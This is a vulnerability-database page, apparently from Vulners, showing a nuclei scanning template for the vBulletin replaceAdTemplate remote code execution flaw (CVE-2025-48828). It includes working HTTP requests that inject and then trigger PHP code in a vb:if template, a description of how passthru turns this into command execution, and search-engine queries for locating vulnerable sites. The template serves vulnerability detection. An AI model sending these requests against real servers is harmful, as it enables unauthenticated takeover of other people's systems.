Lucene search
+L

vBulletin replaceAdTemplate - Remote Code Execution

🗓️ 16 Oct 2026 02:05:10Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 152 Views

Remote Code Execution in vBulletin 5.0.0 to 6.0.3 via ajax/api/ad/replaceAdTemplate endpoint.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Improper Protection of Alternate Path in Vbulletin
25 Jun 202520:06
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Protection of Alternate Path in Vbulletin
31 May 202515:23
–githubexploit
githubexploit
GithubExploit
Exploit for Improper Protection of Alternate Path in Vbulletin
14 Jul 202502:17
–githubexploit
bdu_fstec
BDU FSTEC
vBulletin Code Execution
16 Jun 202500:00
–bdu_fstec
bdu_fstec
BDU FSTEC
vBulletin Code Execution
16 Jun 202500:00
–bdu_fstec
circl
Circl
CVE-2025-48827
27 May 202504:47
–circl
circl
Circl
CVE-2025-48828
27 May 202504:47
–circl
cnnvd
CNNVD
Internet Brands vBulletin 安全漏洞
27 May 202500:00
–cnnvd
cnnvd
CNNVD
Internet Brands vBulletin 安全漏洞
27 May 202500:00
–cnnvd
cve
CVE
CVE-2025-48827
27 May 202500:00
–cve
Rows per page
id: CVE-2025-48828

info:
  name: vBulletin replaceAdTemplate - Remote Code Execution
  author: DhiyaneshDK, Chocapikk
  severity: critical
  description: |
    vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted <vb:if> conditional that executes arbitrary PHP code via passthru($_POST[<param>]), and triggering it with a second request to ajax/render/ad_<location>, attackers can run arbitrary commands on the server as the webserver user.
  impact: |
    Successful exploitation allows unauthenticated remote attackers to execute arbitrary system commands as the web server user, resulting in full system compromise.
  remediation: |
    Upgrade to vBulletin 6.0.4+ and apply the official patch to restrict access to protected controller methods and secure the ajax/api/ad/replaceAdTemplate endpoint.
  reference:
    - https://karmainsecurity.com/pocs/vBulletin-replaceAdTemplate-RCE.php
    - https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48827
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48828
  classification:
    epss-score: 0.5764
    epss-percentile: 0.99076
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-48828
    cwe-id: CWE-424
  metadata:
    verified: true
    max-request: 1
    vendor: vbulletin
    product: vbulletin
    fofa-query: app="vBulletin"
    shodan-query: http.component:"vBulletin"
  tags: cve,cve2025,rce,vbulletin,intrusive,vkev,vuln

variables:
  rand_string: "{{to_lower(rand_base(5))}}"
  rand_value: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        routestring=ajax/api/ad/replaceAdTemplate&styleid=1&location={{rand_string}}&template=<vb:if condition='"var_dump"("{{rand_value}}")'></vb:if>

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body,'string(5)','{{rand_value}}')
        condition: and

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        routestring=ajax/render/ad_{{rand_string}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body,'string(5)','{{rand_value}}')
        condition: and
# digest: 4b0a0048304602210086a6268e75e8855433c1a552d43e3067b76bea7a5664de084e73e8c4f2a4a04f022100f06da7df6834041fdff8f599e1250ca9e2d646c6b0c2227c0a181d460202e89a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.8 - 10
EPSS0.75844
SSVC
152